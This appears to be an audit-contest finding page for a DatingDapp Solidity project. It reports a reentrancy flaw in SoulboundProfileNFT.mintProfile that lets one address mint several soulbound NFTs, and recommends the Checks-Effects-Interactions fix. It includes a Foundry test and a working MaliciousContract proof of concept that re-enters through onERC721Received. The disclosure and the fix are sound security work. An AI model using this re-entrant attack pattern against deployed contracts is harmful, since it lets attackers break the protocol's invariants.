DatingDapp

AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

mintProfile() calls _safeMint before updating profileToToken, allowing a malicious contract to re-enter mintProfile() via onERC721Received and mint a second NFT

Root + Impact

Description

  • mintProfile() is guarded by require(profileToToken[msg.sender] == 0, "Profile already exists") to enforce one NFT per address. After minting, profileToToken[msg.sender] is set to the new tokenId.

  • The call order is wrong: _safeMint is invoked first, then profileToToken is updated. _safeMint triggers onERC721Received on the recipient if it is a contract. A malicious contract can re-enter mintProfile() inside onERC721Received — at that moment profileToToken[address(this)] is still 0, so the guard passes and a second (or more) NFT is minted before the first call's state update executes.

// SoulboundProfileNFT.sol L30-41
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId); // @> external call — triggers onERC721Received
// @> state updates happen AFTER the external call — too late
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

Risk

Likelihood:

  • Requires a malicious contract as the minting address and deliberate crafting of onERC721Received — not a passive exploit, but mechanically straightforward for an attacker to implement.

  • The attacker must deploy a contract, so it is not available to EOA-only users, reducing the realistic attacker pool.

Impact:

  • A single address can hold multiple soulbound NFTs, breaking the one-profile-per-address invariant the contract is built on — undermining identity uniqueness, the core property of the dating app.

  • Downstream logic (likeUser, matches, blockProfile) that assumes one NFT per address can behave incorrectly for multi-NFT addresses.

Proof of Concept

A MaliciousContract implements onERC721Received to call mintProfile() again before the first mint updates profileToToken. Both calls pass the == 0 guard and two NFTs are minted to the same address.

function testReentrancyMultipleNft() public {
MaliciousContract maliciousContract = new MaliciousContract(address(soulboundNFT));
vm.prank(address(maliciousContract));
maliciousContract.attack();
assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2);
}

The assertion passes — the malicious contract holds 2 soulbound NFTs from a single attack() call.

Recommended Mitigation

Follow the Checks-Effects-Interactions (CEI) pattern: update all state before making the external _safeMint call.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
- _safeMint(msg.sender, tokenId);
// @> state updates first
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
+ _safeMint(msg.sender, tokenId); // @> external call last — re-entry now sees profileToToken != 0
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

With this ordering, a re-entrant call to mintProfile() will hit profileToToken[msg.sender] != 0 and revert immediately.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!